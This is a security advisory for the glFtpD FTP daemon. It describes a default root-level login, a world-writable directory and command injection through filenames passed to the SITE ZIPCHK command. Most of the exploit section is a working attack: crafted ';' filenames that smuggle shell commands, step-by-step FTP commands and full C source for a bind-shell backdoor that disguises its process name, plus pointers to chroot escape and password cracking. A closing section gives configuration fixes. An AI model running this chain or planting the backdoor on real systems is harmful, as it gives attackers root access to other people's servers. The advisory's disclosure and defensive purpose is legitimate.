COMMAND

    glFtpD

SYSTEMS AFFECTED

    glFtpD

PROBLEM

    'suid' found  following.   glFtpD has  several problems  which can
    lead to a remote attacker attaining root on your machine.

    glFtpD is a  FTP daemon available  from www.glftpd.org. It  claims
    to  be  a  beta  release  however  it  is  in wide use accross the
    internet.   glFtpD  is  a  somewhat  attractive  choice  for  many
    non-technically minded people it is simple to install and can  run
    fine on the default configuration.  It also comes in flavours  for
    Linux, FreeBSD and Solaris.

    glFtpD is also  quite packed with  "features" such as  the ability
    to script addons in tcl etc. With such a large amount of  features
    it  appears  that  the  attention  paid  to  security has suffered
    somewhat during development.  Vulnerabilities are following.

    1) Default Login:
    =================
    By default glFtpD installs a  user account on your new  FTP server
    called "glftpd" the password of this user is predictably "glftpd".
    This default user also has a  UID of 0.  This does  translate into
    them actually FTP'ing to your machine as uid == 0. Bad kitty.

    2) World writable site directory:
    =================================
    By  default,  your  new  ftp  servers  ~/site  directory  is world
    writable.

    3) SITE ZIPCHK command:
    =======================
    The SITE command ZIPCHK can be used to check the validity of a ZIP
    file on a  server.  Presumably  this is so  you can make  sure the
    ZIP file you are about to  download is valid and free from  error.
    The way this works is thus:

    - glFtpD user does:
        ftp> quote SITE ZIPCHK XXXXX.ZIP

    glFtpD then runs  a shell script  with XXXXX.ZIP as  argv[1] or 2.
    which calls /bin/unzip  etc etc.   If a user  is able to  create a
    filename  with  ";"  characters  in  the  name,  they  can execute
    arbitrary code on  the remote server  with the privelege  level of
    the server.

    Exploit Information

    - 1) & 2) are traditionally bad. Problems are obvious.  With 1):

        - Local users. FTP localhost and have uid 0. Not a problem?
        - TCP spoofing attacks.
          http://www.securityfocus.com/templates/advisory.html?id=1176
        - Regular FTP users use method  3 to get a shell and  use that
          to ftp from localhost. Uid 0.

    - 3) This is  quite simple  a user  need only  have some place  to
         upload files:
        - You will need  to build some kind  of backdoor to allow  you
          access, using bindshell.c (again)

          $ gcc bindshell.c -o b -static

        - Create an empty file called " ; bash blah;"
        - Create an empty file called " ; unzip blah;"

          $ > " ; bash blah;"

        - Create a script called "blah" :

          $ cat > blah
          #!/bin/bash
          ./b &
          ^D

        - "ZIP" these files up.

          $ zip blah.zip blah b

        - Login to your FTP server. Now upload your files:

          ftp> put blah.zip
          ftp> put " ; bash blah;"
          ftp> put " ; unzip blah.zip;"

        - Because glFtpD  attempts to convert  spaces in filenames  to
          underscores, youll need to rename them back.

          ftp> quote rnfr "_;_bash_blah;"
          ftp> quote rnto " ; bash blah;"
          ftp> quote rnfr "_;_unzip_blah.zip;"
          ftp> quote rnto " ; unzip blah.zip;"

        - Now run a ZIPCHK on the unzip one:

          ftp> quote SITE ZIPCHK " ; unzip blah.zip;"

        - Hurray,  now  do  a  few  ls  commands  till you get a  file
          listing.  Now run:

          ftp> quote SITE ZIPCHK " ; bash blah;"

        - glFtpD  will spit  out an  error message.   Ignore it.   Now
          telnet to the port defined within bindshell.c.
        - Once  your on.  If you  attacked the  glftpd account (or any
          uid = 0 account), you  may now use simple chroot()  breaking
          techniques   (http://www.suid.kg/source/breakchroot.c)    to
          have run of the entire box.
        - If you did not have a uid == 0 account.  You'll probably  be
          in a chroot environment and  you dont really have a  way out
          except to:
            - check /etc/passwd (really $GLFTPDHOME/etc/passwd)
            - Crack  a uid  == 0  passwd, maybe  the glftpd account is
              still in there
            - Use your imagination.

    bindshell.c goes like this:

    /*
     * Unknown author.
     */
    
    
    #define PORT 1234
    #include <stdio.h>
    #include <signal.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    
    int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
    struct sockaddr_in serv_addr;
    struct sockaddr_in client_addr;
    
    int main (int argc, char *argv[])
    {
        int i;
        for(i=0;i<argc;i++) {
          memset(argv[i],'\x0',strlen(argv[i]));
        };
        strcpy(argv[0],"th1s iz mY 3l1t3 baCkd00r");
    
        soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (soc_des == -1)
            exit(-1);
        bzero((char *) &serv_addr, sizeof(serv_addr));
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
        serv_addr.sin_port = htons(PORT);
        soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
        if (soc_rc != 0)
            exit(-1);
        if (fork() != 0)
            exit(0);
        setpgrp();
        signal(SIGHUP, SIG_IGN);
        if (fork() != 0)
            exit(0);
        soc_rc = listen(soc_des, 5);
        if (soc_rc != 0)
            exit(0);
        while (1) {
            soc_len = sizeof(client_addr);
            soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
            if (soc_cli < 0)
                exit(0);
            cli_pid = getpid();
            server_pid = fork();
            if (server_pid != 0) {
                dup2(soc_cli,0);
                dup2(soc_cli,1);
                dup2(soc_cli,2);
                execl("/bin/sh","sh",(char *)0);
                close(soc_cli);
                exit(0);
            }
        close(soc_cli);
        }
    }

SOLUTION

    Easy  fix  should  be  override  the  command  in  glftpd.conf (or
    equivalent) with something like:

        site_cmd ZIPCHK TEXT /ftp-data/misc/disabled

    Wich  causes  a  textfile  to  be  displayed rather then a command
    executed.   The fix  (officially) from  glftpd developers GreyLine
    and Usurper is to add:

        path-filter * /ftp-data/misc/pathmsg ^[-A-Za-z0-9_.()[:space:]]*$ ^\.^-

    to config  file.   The fix  will be  included in  the next  glftpd
    release.